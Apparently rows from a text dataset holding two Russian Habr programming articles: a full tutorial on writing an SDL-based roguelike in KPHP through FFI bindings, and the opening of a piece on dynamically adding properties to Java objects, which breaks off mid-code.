text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Создаём игру на KPHP с помощью FFI и SDL
KPHP теперь поддерживает механизм [Foreign Function Interface](https://www.php.net/manual/ru/class.ffi.php) (FFI). Мы с [Владом](https://github.com/troy4eg) решили продемонстрировать его возможности и за сутки написали первую в мире графическую игру на [KPHP](https://github.com/VKCOM/kphp/).
Игру делали с использованием библиотеки [SDL](https://www.libsdl.org/):
* работали со звуком,
* обрабатывали события клавиатуры,
* рисовали шрифты, спрайты, UI.
API и семантика нашего FFI идентичны PHP. Поэтому созданная игра запустится и на KPHP, и на PHP.
Если вам интересны детали реализации, заглядывайте под кат!
Предисловие
-----------
Немного контекста о том, как KPHP поддерживает Foreign Function Interface и чем это полезно.
KPHP теперь разрабатывается как проект с открытым исходным кодом. Любой может клонировать репозиторий и собрать новую версию компилятора и рантайма. Но в ядро KPHP входят не все PHP-расширения, а добавить недостающие было сложно: для этого нужно разобраться во внутренностях самого KPHP, а также пройти процесс внедрения своего патча в чужой репозиторий. Конечно, можно держать свой форк с дополнительными фичами, но это тоже задача не из лёгких — особенно если планируется время от времени обновлять версию KPHP.
Исправить эту ситуацию призван Foreign Function Interface (FFI). В PHP уже с версии 7.4 можно создавать обёртки для C-библиотек без необходимости написания C-кода и последующей компиляции PHP-расширений. Теперь в KPHP есть аналогичный функционал, созданный по тому же [RFC](https://wiki.php.net/rfc/ffi). Так что к KPHP можно подключать расширения, не включая их в основной репозиторий. А само расширение можно распространять как composer-пакет.
Мне захотелось продемонстрировать возможности этого нового механизма коллегам на грядущем внутреннем хакатоне. После мозгового штурма мы с Владом решили взять SDL и написать какую-нибудь игрушку.
Исходные коды самой игры размещены в репозитории [github.com/quasilyte/kphp-game](https://github.com/quasilyte/kphp-game), а обёртки к SDL в composer-пакете [kphp-sdlite](https://packagist.org/packages/quasilyte/kphp-sdlite). Это разделение не было обязательным, но оно помогло проверить, что писать переиспользуемые биндинги возможно.
Итак, пишем рогалик на KPHP за сутки, без игрового движка.
> На момент создания игры поддержка FFI всё ещё не была влита в master, поэтому мы использовали свой билд KPHP.
Игровой дизайн
--------------
Основные игровые идеи выглядят следующим образом:
* Пошаговое перемещение (действие игрока завершает ход).
* Рандомная генерация игровых уровней.
* В каждой сессии несколько игровых уровней, соединённых порталом.
* Главный герой побеждает противников с помощью заклинаний.
* Персонаж получает опыт, становится сильнее.
* Запас магических сил (мана) не восполняется автоматически.
Я успел придумать и реализовать три заклинания.
| Название | Урон | Дальность | Стоимость | Скорость снаряда |
| --- | --- | --- | --- | --- |
| Fireball | 20-30 | 4 | 10 MP | Мгновенно |
| Ice shards | 20-35 | 7 | 15 MP | 1 тайл за ход |
| Thunder | 15-55 | 1 | 20 MP | Мгновенно |
Паттерны поражения заклинаний:
```
Fireball:
[>][x][x][x][x]
Ice shards:
[x][x][x][x][x][x][x]
[>][x][x][x][x][x][x][x]
[x][x][x][x][x][x][x]
Thunder:
[x][x][x]
[x][>][x]
[x][x][x]
```
Может показаться, что Ice shards во всём превосходит Fireball, однако поскольку мана не восстанавливается, грамотное её распределение — одна из основных механик. Если вы можете победить одним лишь огненным шаром, именно это и будет выгодной стратегией. Более того, ледяные осколки пролетают по одному тайлу за ход, а огненный шар атакует мгновенно, не давая противнику шанса увернуться.
Thunder интересен тем, что позволяет атаковать противника, не поворачиваясь к нему, а атака по диагонали безопасна (финальный босс — единственное исключение).
Каждый уровень протагониста увеличивает базовые характеристики: магический урон, количество здоровья (HP) и маны (MP).
Есть и другие механики, без умелого использования которых пройти игру практически невозможно. Например, через тайлы с обломками нельзя пройти, но через них можно «стрелять» заклинаниями. Через обычные стены нельзя ни колдовать, ни перемещаться.
Подготавливаем проект
---------------------
Здесь нет ничего KPHP-специфичного. Создаём директорию, инициализируем composer, ставим зависимости.
```
$ mkdir kphp-game
$ cd kphp-game
$ composer init
$ composer require quasilyte/kphp-sdlite:dev-master
```
Вот так выглядит наш autoload (копия из `composer.json`):
```
"autoload": {
"psr-4": {
"KPHPGame\\": "src/"
}
}
```
В корне проекта создадим `main.php`, который загрузит все composer-зависимости и запустит приложение.
```
php
require_once __DIR__ . '/vendor/autoload.php';
use KPHPGame\Game;
function main() {
try {
$game = new Game();
$game-run();
} catch (Exception $e) {
$msg = "{$e->getFile()}:{$e->getLine()}: {$e->getMessage()}";
echo "UNHANDLED EXCEPTION: $msg\n";
}
}
main();
```
Чтобы протестировать сборку, создадим пустую реализацию класса `KPHPGame\Game` (`src/Game.php`):
```
php
namespace KPHPGame;
class Game {
public function run(): void {
var_dump('Hello, world!');
}
}</code
```
```
# Собираем наш проект:
$ kphp --mode cli --composer-root $(pwd) main.php
# Запускаем её:
$ ./kphp_out/cli
string(13) "Hello, world!"
```
Я рекомендую добавлять такие вещи в `Makefile`, чтобы упростить выполнение этих операций.
```
.PHONY: game
PWD=$(shell pwd)
game:
composer install
./kphp2cpp --mode cli --composer-root $(PWD) main.php
mkdir -p bin
mv kphp_out/cli bin/game
```
Сборка и запуск игры становятся проще:
```
$ make game && ./bin/game
```
> Процесс установки KPHP, использование composer'а и тестирование описаны в статье ["Заметки KPHP: тестирование и бенчмарки"](https://habr.com/ru/company/vk/blog/572424/).
Создаём окно
------------
Начнём с создания графического окна, в котором и будет отображаться вся графика.
Нам нужна функция [SDL\_CreateWindow](https://wiki.libsdl.org/SDL_CreateWindow).
Чтобы воспользоваться ей из KPHP, нам нужно описать сигнатуру в формате, понятном FFI, — то есть с обычными C-декларациями.
Есть два основных способа размещения этих деклараций:
1. Прямо в PHP-коде, внутри строкового литерала: [FFI::cdef](https://www.php.net/manual/ru/ffi.cdef.php);
2. В отдельном заголовочном файле: [FFI::load](https://www.php.net/manual/ru/ffi.load.php).
Я буду использовать вариант с `FFI::load`. Создадим файл `sdl.h`:
```
#define FFI_SCOPE "sdl"
#define FFI_LIB "libSDL2-2.0.so"
typedef uint32_t Uint32;
// forward declare для SDL_Window (opaque-тип)
typedef struct SDL_Window SDL_Window;
SDL_Window *SDL_CreateWindow(const char *title,
int x,
int y,
int w,
int h,
Uint32 flags);
```
В FFI по умолчанию определены многие популярные типы вроде `uint32_t`. Но `Uint32` — это алиас типа, специфичный для SDL. Поэтому нам нужно ввести этот псевдоним самостоятельно. `SDL_Window` — непрозрачный для нас тип, поэтому достаточно сделать forward declaration. [FFI\_SCOPE](https://www.php.net/manual/en/ffi.scope.php#refsect1-ffi.scope-parameters) и [FFI\_LIB](https://www.php.net/manual/en/ffi.load.php#refsect1-ffi.load-description) — это особые для PHP FFI определения.
Чтобы вывести окно по центру, нам потребуется константа `WINDOWPOS_CENTERED`. FFI поддерживает простые константы через `enum`. Но зачастую константы, которые нам хочется использовать в публичном коде, стоит выносить в класс-обёртку.
```
class SDL {
public const WINDOWPOS_CENTERED = 805240832;
}
```
Простейший скрипт для использования из KPHP:
```
php
\FFI::load('sdl.h');
$lib = \FFI::scope('sdl');
$x = SDL::WINDOWPOS_CENTERED;
$y = SDL::WINDOWPOS_CENTERED;
$w = 640;
$h = 480;
$window = $lib-SDL_CreateWindow('KPHP Game', $x, $y, $w, $h, 0);
```
> Замечание: этот код будет работать для KPHP, но в PHP использовать `FFI::scope()` можно только в сочетании с opcache preload. Мы ещё вернёмся к этой особенности.
Теперь мы умеем создавать графические окна! Дело за малым.
Использовать FFI напрямую не так приятно, поэтому лучше прятать его внутри PHP-класса:
```
php
namespace Quasilyte\SDLite;
class SDL {
public const WINDOWPOS_CENTERED = 805240832;
public function __construct() {
$this-sdl = \FFI::scope('sdl');
}
/** @return ffi_cdata \*/
public function createWindow(string $title,
int $x,
int $y,
int $w,
int $h,
int $flags = 0) {
return $this->sdl->SDL\_CreateWindow($title,
$x,
$y,
$w,
$h,
$flags);
}
/\*\* @var ffi\_scope \*/
private $sdl;
}
```
На что обратить внимание:
* FFI в KPHP статически типизирован; ошибки находим на момент компиляции;
* `ffi_scope<$scope_name>` — тип результата `\FFI::scope($scope_name)`;
* `ffi_cdata<$scope_name, $type>` — тип для [FFI\CData](https://www.php.net/manual/ru/class.ffi-cdata.php)-объектов.
Использовать SDL через KPHP становится приятнее:
```
$sdl = new SDL();
$x = SDL::WINDOWPOS_CENTERED;
$y = SDL::WINDOWPOS_CENTERED;
$w = 640;
$h = 480;
$sdl->createWindow('KPHP Game', $x, $y, $w, $h);
```
Отдельное преимущество — теперь у нас есть хороший autocomplete для методов SDL.
Теперь закроем это окно нажатием на красный крестик… Подождите, **ничего не закрывается**!
Это мы поправим позже, когда научимся обрабатывать события. А пока закрываем через менеджер задач (или любым другим способом, который вы любите).
Рисуем спрайт на экране
-----------------------
Что планируем использовать для отрисовки изображения:
* [IMG\_Load](https://www.libsdl.org/projects/SDL_image/docs/SDL_image_11.html)
* [SDL\_CreateRenderer](https://wiki.libsdl.org/SDL_CreateRenderer)
* [SDL\_CreateTextureFromSurface](https://wiki.libsdl.org/SDL_CreateTextureFromSurface)
* [SDL\_FreeSurface](https://wiki.libsdl.org/SDL_FreeSurface)
* [SDL\_RenderClear](https://wiki.libsdl.org/SDL_RenderClear)
* [SDL\_RenderCopy](https://wiki.libsdl.org/SDL_RenderCopy)
* [SDL\_RenderPresent](https://wiki.libsdl.org/SDL_RenderPresent)
Функция `IMG_Load` находится в отдельной библиотеке, `libSDL2_image`. Поэтому создаём второй заголовочный файл, `sdl_image.h`:
```
#define FFI_SCOPE "sdl_image"
#define FFI_LIB "libSDL2_image-2.0.so"
typedef struct SDL_Surface SDL_Surface;
SDL_Surface *IMG_Load(const char *file);
```
Добавим новые определения в уже существующий `sdl.h`:
```
typedef struct SDL_Texture SDL_Texture;
typedef struct SDL_Renderer SDL_Renderer;
typedef struct SDL_Surface SDL_Surface;
typedef struct SDL_Rect {
int x, y;
int w, h;
} SDL_Rect;
SDL_Renderer *SDL_CreateRenderer(SDL_Window *window,
int index,
Uint32 flags);
SDL_Texture *SDL_CreateTextureFromSurface(SDL_Renderer *renderer,
SDL_Surface *surface);
void SDL_FreeSurface(SDL_Surface *surface);
int SDL_RenderClear(SDL_Renderer *renderer);
int SDL_RenderCopy(SDL_Renderer *renderer,
SDL_Texture *texture,
const SDL_Rect *srcrect,
const SDL_Rect *dstrect);
void SDL_RenderPresent(SDL_Renderer *renderer);
```
Это **почти** рабочий вариант. Проблема в том, что `sdl` и `sdl_image` декларируют `SDL_Surface`. Эти типы будут несовместимыми. Вот простой пример, который демонстрирует это поведение:
```
php
$cdef = FFI::cdef('
struct Foo { int x; };
');
$cdef2 = FFI::cdef('
typedef struct Foo Foo;
struct Bar {
struct Foo *fooptr;
};
');
$foo = $cdef-new('struct Foo');
$bar = $cdef2->new('struct Bar');
$bar->fooptr = FFI::addr($foo);
```
Получаем ошибку:
```
$ php8.0 -f ./test.php
Incompatible types 'struct Foo*' and 'struct Foo*'
```
Хе-хе, `struct Foo*` несовместим с `struct Foo*`. Приятно.
Есть несколько путей обхода. Можно, например, заменить везде `struct Foo*` на `void*`, всё равно для нас это opaque-указатель на ресурс.
```
SDL_Texture *SDL_CreateTextureFromSurface(SDL_Renderer *renderer,
- SDL_Surface *surface);
+ void *surface);
- SDL_Surface *IMG_Load(const char *file);
+ void *IMG_Load(const char *file);
- void SDL_FreeSurface(SDL_Surface *surface);
+ void SDL_FreeSurface(void *surface);
```
Альтернативным решением может быть [FFI::cast](https://www.php.net/manual/ru/ffi.cast.php).
Всё, теперь мы готовы вывести картинку на экран!
```
/**
* @param ffi_cdata
\*/
function renderSomething(SDL $sdl, $window) {
// Создаём рендерер:
$rend\_flags = SDL::RENDERER\_ACCELERATED;
$rend = $sdl->createRenderer($window, -1, $rend\_flags);
// Подготавливаем текстурку:
$surface = $sdl->imgLoad('image.png');
$texture = $sdl->createTextureFromSurface($rend, $surface);
$sdl->freeSurface($surface);
// Описываем позицию для рендеринга:
$pos = $sdl->newRect();
$pos->w = 64; // ширина спрайта
$pos->h = 64; // высота спрайта
$pos->x = 128; // смещение по оси X внутри окна
$pos->y = 256; // смещение по оси Y внутри окна
// Рендерим текстурку:
$sdl->renderClear();
$sdl->renderCopy($texture, null, \FFI::addr($pos));
$sdl->renderPresent();
}
```
Обычно вы хотите переиспользовать текстурку, возвращаемую `createTextureFromSurface()`, и загружать её в самом начале. Аналогично с рендерером: вы создаёте его где-то в начале жизненного цикла игры, а потом передаёте объект рендерера во все места, где он может потребоваться.
Один из методов немного отличается от того, что мы делали ранее. Вот его внутренности:
```
/** @return ffi_cdata \*/
public function newRect() {
return $this->sdl->new('struct SDL\_Rect');
}
```
Так как `SDL_Rect` определён в `sdl.h` полностью, мы можем создавать эти объекты через метод `new` и обращаться с полями этой структуры так, будто бы это обычный PHP-класс.
Тайлы, текстурные атласы, анимации
----------------------------------
Было бы не очень эффективно каждое изображение загружать как отдельный png и ассоциировать с ним текстуру.
В своей игре мы использовали [текстурные атласы](https://en.wikipedia.org/wiki/Texture_atlas) для тайлов.
В одном изображении размера `128 × 128` пикселей мы можем разместить 16 тайлов размером `32 × 32` пикселя. Всё это будет одной текстурой. Чтобы рендерить такой фрагмент внутри атласа, нам нужно будет передать дополнительный аргумент в `renderCopy`, который ранее был `null`.
```
$texture_pos = $sdl->newRect();
$texture_pos->w = 32; // ширина фрагмента (тайла)
$texture_pos->h = 32; // высота фрагмента (тайла)
$texture_pos->x = 0; // смещение по оси X внутри атласа
$texture_pos->y = 32 * 3; // смещение по оси Y внутри атласа
// Рисуем алтарь, тайл из нижнего левого угла атласа:
$sdl->renderCopy($texture, \FFI::addr($texture_pos), \FFI::addr($pos));
```
Анимации можно делать по тому же принципу. Одна текстурка с несколькими кадрами. В зависимости от текущего кадра выбираем правильное смещение внутри текстуры.
Кадр анимации переключается игровыми фреймами, а её скорость регулируется их количеством. В нашей игре мы стараемся выдавать 60 фреймов в секунду.
Обработка событий, event loop
-----------------------------
Мы упомянули игровые фреймы. Самое время писать основной цикл обработки.
Сердцем игры будет вот такой цикл:
```
while (true) {
// Считываем и обрабатываем все события, которые
// произошли за этот фрейм:
$this->processInputs($sdl);
// Если вдруг игрок активировал выход:
if ($this->exit) {
break;
}
// Непосредственно игровая логика:
$this->processFrame($sdl);
// Ждём следующего фрейма:
$sdl->delay(1000 / 60); // ~60 fps
}
```
Этот цикл отрабатывает примерно 60 раз в секунду.
Помните, что у нас не закрывается игровое окно? Самое время это исправить.
```
public function processInputs(SDL $sdl): void {
$event = $sdl->newEvent();
// Событий за фрейм может произойти несколько,
// поэтому нам здесь нужен цикл.
while ($sdl->pollEvent($event)) {
if ($event->type === EventType::QUIT) {
$this->exit = true;
}
}
}
```
Вот теперь приложение корректно закрывается через кнопку `[X]`.
Расширим цикл обработки событий так, чтобы мы понимали, какие действия хочет совершить игрок.
```
public function processInputs(SDL $sdl): void {
$event = $sdl->newEvent();
while ($sdl->pollEvent($event)) {
if ($event->type === EventType::QUIT) {
$this->exit = true;
} elseif ($event->type === EventType::KEYUP) {
$scancode = $event->key->keysym->scancode;
if ($scancode === Scancode::ESCAPE) {
// Нажатие на escape — выход из игры.
$this->exit = true;
} elseif ($scancode === Scancode::UP) {
$this->player_actions = PlayerAction::MOVE_UP;
} elseif ($scancode === Scancode::DOWN) {
$this->player_actions = PlayerAction::MOVE_DOWN;
} elseif ($scancode === Scancode::LEFT) {
$this->player_actions = PlayerAction::MOVE_LEFT;
} elseif ($scancode === Scancode::RIGTH) {
$this->player_actions = PlayerAction::MOVE_RIGHT;
}
// И так далее...
}
}
}
```
Исходя из наброска выше, нам потребуются функции:
* [SDL\_PollEvent](https://wiki.libsdl.org/SDL_PollEvent)
* [SDL\_Delay](https://wiki.libsdl.org/SDL_Delay)
Добавляем всё необходимое в `sdl.h`:
```
typedef int32_t Sint32;
typedef Sint32 SDL_Keycode;
typedef struct SDL_Keysym {
int scancode;
SDL_Keycode sym;
Uint16 mod;
Uint32 unused;
} SDL_Keysym;
typedef struct SDL_KeyboardEvent {
Uint32 type;
Uint32 timestamp;
Uint32 windowID;
Uint8 state;
Uint8 repeat;
Uint8 padding2;
Uint8 padding3;
SDL_Keysym keysym;
} SDL_KeyboardEvent;
typedef struct SDL_QuitEvent {
Uint32 type;
Uint32 timestamp;
} SDL_QuitEvent;
typedef union SDL_Event {
Uint32 type;
SDL_KeyboardEvent key;
SDL_QuitEvent quit;
} SDL_Event;
int SDL_PollEvent(SDL_Event *event);
void SDL_Delay(Uint32 ms);
```
В `union SDL_Event` входит больше вариантов, чем мы описали выше. Настоятельно рекомендуется заполнять union-типы идентично тому, как они определены в библиотеке, потому что это может влиять на их размер. В статье мы сократили определение, выбрав только нужные для нас события, однако в реальном приложении следовало бы перечислить более десяти структур, которые могут быть членами `SDL_Event`.
Рендерим тексты
---------------
Для работы со шрифтами подключим [SDL\_ttf](https://www.libsdl.org/projects/SDL_ttf/).
Нас в первую очередь интересуют UTF-8 варианты API, поэтому вместо [TTF\_RenderText\_Blended](https://www.libsdl.org/projects/docs/SDL_ttf/SDL_ttf_44.html) мы выбираем [TTF\_RenderUTF8\_Blended](https://www.libsdl.org/projects/SDL_ttf/docs/SDL_ttf_52.html) и дальше по аналогии.
Создаём `sdl_ttf.h`:
```
#define FFI_SCOPE "sdl_ttf"
#define FFI_LIB "libSDL2_ttf-2.0.so"
typedef uint8_t Uint8;
typedef struct TTF_Font TTF_Font;
typedef struct SDL_Color {
Uint8 r;
Uint8 g;
Uint8 b;
Uint8 a;
} SDL_Color;
int TTF_Init();
TTF_Font *TTF_OpenFont(const char *file, int ptsize);
void *TTF_RenderUTF8_Blended(TTF_Font *font,
const char *text,
SDL_Color fg);
int TTF_SizeUTF8(TTF_Font *font, const char *text, int *w, int *h);
```
Используется это так: сначала делается `TTF_Init()`, чтобы инициализировать библиотеку; затем через `TTF_OpenFont()` открываем шрифт и держим его при себе, как и с другими ресурсами. После этого используем `TTF_RenderUTF8_Blended()` для рендеринга текста выбранным шрифтом.
Функция `TTF_SizeUTF8()` нужна для того, чтобы вычислить ширину текста, если его отрисовать указанным шрифтом. При этом она возвращает код ошибки. Настоящий результат функции записывается в `$w` и `$h`.
```
$w = \FFI::new('int');
$h = \FFI::new('int');
$sdl->TTF_SizeUTF8($font, "example", \FFI::addr($w), \FFI::addr($h));
// Прочитать значения CData скалярных типов можно через var->cdata:
var_dump([$w->cdata, $h->cdata]);
// Через var->cdata также можно записывать новые значения:
$w->cdata = 64;
$h->cdata = 32;
```
Создаём UI
----------
Чтобы отрисовать простейшие элементы графического интерфейса, достаточно уметь отображать прямоугольники разных цветов и размеров.
Добавим следующие функции в `sdl.h`:
```
int SDL_RenderFillRect(SDL_Renderer *renderer, const SDL_Rect *rect);
int SDL_SetRenderDrawColor(SDL_Renderer *renderer,
Uint8 r,
Uint8 g,
Uint8 b,
Uint8 a);
```
Передавать цвета через несколько отдельных значений не всегда удобно. Особенно расстраивает увеличивающееся количество аргументов. Мы можем определить простой класс `Color`, который позволит более лаконично описывать связанные с цветом аргументы.
```
class Color {
public int $r;
public int $g;
public int $b;
public int $a;
public function __construct($r, $g, $b, $a = 255) {
$this->r = $r;
$this->g = $g;
$this->b = $b;
$this->a = $a;
}
}
```
Удобную обёртку для `SDL_SetRenderDrawColor` можно написать, например, так:
```
/**
* @param ffi_cdata $renderer
\*/
public function setRenderDrawColor($renderer, Color $color): bool {
$result = $this->sdl->SDL\_SetRenderDrawColor($renderer,
$color->r,
$color->g,
$color->b,
$color->a);
return $result === 0;
}
```
Код ниже рисует красный квадрат `32 × 32`:
```
$rend = $sdl->createRenderer();
$rect = $sdl->newRect();
$rect->w = 32;
$rect->h = 32;
$red_color = new Color(255, 0, 0);
$sdl->setRenderDrawColor($rend, $red_color);
$sdl->fillRect($rend, \FFI::addr($rect));
```
В нашей игре мы реализовали диалоговое окно с «рамкой» — для этого отрисовали два прямоугольника разного цвета, немного отличающихся по размеру.
Добавляем звуки в игру
----------------------
Для работы со звуком мы взяли библиотеку [SDL\_Mixer](https://www.libsdl.org/projects/SDL_mixer/).
Хочется уметь проигрывать два вида звуков: одноразовые (для спецэффектов) и длинные аудио с повтором (для музыки).
Примерно такой API у нас получился:
```
// Инициализируем аудио (Mix_OpenAudio):
$freq = 22050;
$chunk_size = 4096;
$channels = 2;
$sdl->openAudio($freq, SDL::AUDIO_S16LSB, $channels, $chunk_size);
// Загружаем файл (Mix_LoadMUS):
$music = $sdl->loadMusic("music.ogg");
// Запускаем фоновую музыку (Mix_PlayMusic):
$sdl->playMusic($music);
```
Для отдельных звуковых эффектов, которые нужно повторять много раз во время игры, нужно сохранять загруженные ресурсы и переиспользовать их — подобно тому, как мы сохраняем текстуры.
```
private function loadResources(SDL $sdl) {
$this->fireballSound = $this->loadSound($sdl, "fireball.wav");
// ... И так далее.
}
/** @return ffi_cdata \*/
private function loadSound(SDL $sdl, string $path) {
$rw = $sdl->mixerlib->SDL\_RWFromFile($path, "rb");
return $sdl->mixerlib->Mix\_LoadWAV\_RW($rw, 1);
}
/\*\* @param ffi\_cdata $sound \*/
private function playSoundOnce(SDL $sdl, $sound) {
$ch = -1; // Канал для воспроизведения; -1 для автовыбора
$loops = 0; // Сколько раз дополнительно повторить звук
if (!$sdl->mixerlib->Mix\_PlayChannelTimed($ch, $sound, $loops, -1)) {
$err = $sdl->getError();
if ($err === 'No free channels available') {
Logger::info('trying to play too many sounds at once');
return;
}
throw new \RuntimeException($err);
}
}
```
Поскольку бездумно закидывать канал запросами на воспроизведение не очень умно, нам нужно либо ставить их в очередь, либо уметь как-то сказать «Горшочек, не вари». Поскольку код писался под хакатон, я решил просто игнорировать эту ошибку и считать, что если игрок зажимает все клавиши одновременно, то мы имеем право не воспроизвести какой-то из звуков.
Обращаем внимание на то, что в SDL\_Mixer имеется символ [Mix\_LoadWAV](https://www.libsdl.org/projects/SDL_mixer/docs/SDL_mixer_19.html). Вот только определён этот символ не как функция, а как макрос. Поэтому мы не можем загрузить `Mix_LoadWAV` из динамической библиотеки.
Макрос определён следующим образом:
```
#define Mix_LoadWAV(file) \
Mix_LoadWAV_RW(SDL_RWFromFile(file, "rb"), 1)
```
Мы можем определить в классе SDL метод с таким же API:
```
/** @return ffi_cdata \*/
public function loadWAV(string $filename) {
$rw = $this->mixerlib->SDL\_RWFromFile($filename, "rb");
return $this->mixerlib->Mix\_LoadWAV\_RW($rw, 1);
}
```
Все функции для работы с SDL\_Mixer должны быть определены в отдельном файле, назовём его `sdl_mixer.h`:
```
#define FFI_SCOPE "sdl_mixer"
#define FFI_LIB "libSDL2_mixer-2.0.so"
typedef uint16_t Uint16;
typedef struct Mix_Chunk Mix_Chunk;
typedef struct Mix_Music Mix_Music;
typedef struct SDL_RWops SDL_RWops;
int Mix_OpenAudio(int frequency,
Uint16 format,
int channels,
int chunksize);
SDL_RWops *SDL_RWFromFile(const char *file, const char *mode);
Mix_Chunk *Mix_LoadWAV_RW(SDL_RWops *src, int freesrc);
Mix_Music *Mix_LoadMUS(const char *file);
int Mix_PlayMusic(Mix_Music *music, int loops);
int Mix_PlayChannelTimed(int channel,
Mix_Chunk *chunk,
int loops,
int ticks);
```
Обработка ошибок
----------------
Здесь всё зависит от конкретной функции, которую мы используем.
Есть два основных способа, которыми функции из SDL сигнализируют об ошибках:
1. Возвращается NULL (напр. `SDL_CreateTextureFromSurface`)
2. Возвращается int, не равный 0 (напр. `Mix_PlayMusic`)
Если ошибка произошла, через [SDL\_GetError](https://wiki.libsdl.org/SDL_GetError) можно получить текст этой ошибки.
Для второго способа часто можно упростить тип возврата с `int` до `bool`:
```
/** @param ffi_cdata $music \*/
public function playMusic($music, int $loops = -1): bool {
return $this->mixerlib->Mix\_PlayMusic($music, $loops) === 0;
}
```
Функции, которые возвращают null, проверять стоит обычным сравнением с null, а не через [\FFI::isNull](https://www.php.net/manual/ru/ffi.isnull.php).
```
// 1.
$texture = $sdl->createTextureFromSurface($rend, $surface);
if ($texture === null) {
throw new \Exception($sdl->getError());
}
// 2.
if (!$sdl->playMusic($music)) {
throw new \Exception($sdl->getError());
}
```
Запускаем игру на PHP
---------------------
В коде нашей игры мы использовали некоторые KPHP-специфичные возможности. Например, tuple-типы. Чтобы этот код заработал на PHP, достаточно подключить к проекту [KPHP-полифиллы](https://github.com/VKCOM/kphp-polyfills):
```
$ composer require vkcom/kphp-polyfills
```
PHP умеет регистрировать FFI scope только на этапе preload, поэтому создадим скрипт `php_preload.php`:
```
php
$sdlite_path = __DIR__ . '/vendor/quasilyte/kphp-sdlite/src/';
\FFI::load("$sdlite_path/sdl.h");
\FFI::load("$sdlite_path/sdl_image.h");
\FFI::load("$sdlite_path/sdl_mixer.h");
\FFI::load("$sdlite_path/sdl_ttf.h");</code
```
Запускать игру нужно примерно так:
```
$ php8.0 \
-d opcache.enable=1 \
-d opcache.enable_cli=1 \
-d opcache.preload=./php_preload.php \
-f ./main.php
```
Поддерживаемые платформы
------------------------
Поддержка MacOS в KPHP частичная. Запустить полноценный сервер получится только на Linux.
Однако в случае нашей игры веб-сервер не нужен, поэтому запустить её можно на обеих системах.
> Первые пару часов хакатона Влад как раз пытался собрать наш FFI под MacOS.
>
> Я тестировал только на Linux, поэтому с первого раза там ничего, конечно же, не завелось.
Здесь отдельное внимание стоит уделить тому, как игра ищет свои ресурсы при работе. Все доступы к ресурсам (изображения, звуковые файлы, шрифты и прочее) стоит делать через некоторый `AssetsManager`, который знает, как найти нужный asset в зависимости от окружения.
Простейший `AssetsManager` может выглядеть так:
```
php
namespace KPHPGame;
class AssetsManager {
public static function sound(string $name): string {
return self::getRootByTarget() . "sounds/$name";
}
public static function sprite(string $name): string {
return self::getRootByTarget() . "sprites/$name";
}
private static function getRootByTarget(): string {
$target = $_ENV['KPHP_GAME_TARGET'] ?? '';
if ($target === 'linux') {
return "./assets/";
}
if ($target === 'macos') {
return "./../Resources/";
}
// dev-режим:
return __DIR__ . "/../assets/";
}
}</code
```
Переменную окружения `KPHP_GAME_TARGET` мы задаём при запуске игры. Какое значение туда выставить, должен знать сам launcher для игры. Этот launcher можно генерировать при подготовке релизной сборки.
Доступ к изображениям в коде меняется следующим образом:
```
- $surface = $sdl->imgLoad('image.png');
+ $surface = $sdl->imgLoad(AssetsManager::sprite('image.png'));
```
Заключение
----------
Мы создали игру, которая запускается как на PHP, так и на KPHP. Однако это не всё, чего можно добиться благодаря FFI. С его помощью можно реализовать некоторые отсутствующие в KPHP расширения PHP.
Например, через FFI можно добавить в KPHP поддержку:
* [GMP](https://www.php.net/manual/en/book.gmp.php)
* [GD](https://www.php.net/manual/en/book.image.php)
* [ImageMagick](https://www.php.net/manual/en/book.imagick.php)
Это только то, на чём я успел протестировать текущую реализацию. Уверен, что список этим не ограничивается.
И напоследок — видео с игровым процессом:
В ролике вы видите именно ту версию, что была сделана к дедлайну хакатона. На следующий день я добавил в игру пару дополнительных механик для улучшения геймплея. Например, алтари на уровне, которые дают случайный бонус.
### Полезные ссылки
* [Исходный код игры](https://github.com/quasilyte/kphp-game).
* [Исходный код SDL2-биндингов](https://github.com/quasilyte/kphp-sdlite).
* [Документация FFI в KPHP](https://vkcom.github.io/kphp/kphp-language/php-extensions/ffi.html).
* [Заметки KPHP: тестирование и бенчмарки](https://habr.com/ru/company/vk/blog/572424/).
* [Презентация по этой же теме](https://speakerdeck.com/quasilyte/kphp-ffi). | https://habr.com/ru/post/581238/ | null | ru | null |
# Динамическое добавление свойств в языке Java
##### Disclaimer
Инструмент родился как [способ побороть недочеты проектирования](http://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%BB%D0%BB%D0%B8%D0%B0%D1%82%D0%B8%D0%B2) малой кровью. Я с трудом могу представить ситуацию, где использование инструмента могло бы быть продиктовано иными причинами.
##### Предыстория
Случилось мне однажды подключиться к разработке немолодого web-приложения. Код был местами изрядно запутан, хранил следы деятельности нескольких разработчиков разной квалификации, актуальных работоспособных тестов не было. Одно слово — legacy.
Приложение было реализовано по классической трехслойной схеме:
* Persistence: Hibernate.
* Services: Spring.
* Endpoints: Spring MVC: JSP, RESTful.
И на всех уровнях использовались сущности уровня хранения (далее — сущности). Из-за этого изменение имен свойств сущностей влекло за собой необходимость править код на клиенте или в JSP, а добавление чего-нибудь в JSON который отдавали контроллеры или в JSP, если это что-то не лежало в сущности, было крайне неудобным и рискованным из за отсутствия тестов.
##### Как же протащить на уровень представления значения, которых нет в сущностях?
Я рассмотрел несколько способов.
###### Listener'ы и Interceptor'ы
[Listener'ы](https://docs.jboss.org/hibernate/entitymanager/3.6/reference/en/html/listeners.html) и [Interceptor'ы](http://docs.jboss.org/hibernate/orm/4.3/manual/en-US/html/ch14.html) позволяют добавить в сущности дополнительные данные. В некоторых случаях их применение оправдано, но предпочитаю не засорять сущности уровня хранения структурами и данными, не имеющими к уровню хранения никакого отношения.
###### Mapping
Можно пронаследоваться от каждого класса, который требует расширения, и начинить его нужными данными уже на сервисном уровне. Это концептуально верный путь: слой хранения сохраняет чистоту, слой контроллеров не требует модификации. Однако, возникают проблемы с производительностью, [ленивая загрузка](http://docs.jboss.org/hibernate/orm/4.3/manual/en-US/html/ch20.html#performance-fetching) перестает быть ленивой, т.к. маппер не знает, какие из полей нужны контроллеру, и вынужден перекладывать все. Управление маппером со стороны контроллера теоретически возможно, но это невозможно без модификации кода контроллера.
###### Dynamic proxy
Немножко магии:
```
package ru.bdm.reflection;
//some imports omitted
import static junit.framework.Assert.assertEquals;
import static org.apache.commons.beanutils.PropertyUtils.getProperty;
public class PropertyJoinerTest {
public static class AnyType {
public Object getAnyProperty() {
return "anyPropertyValue";
}
}
@Test
public void testWithPropertyExtractor() throws Exception {
PropertyJoiner propertyJoiner = new PropertyJoiner(new PropertyExtractor() {
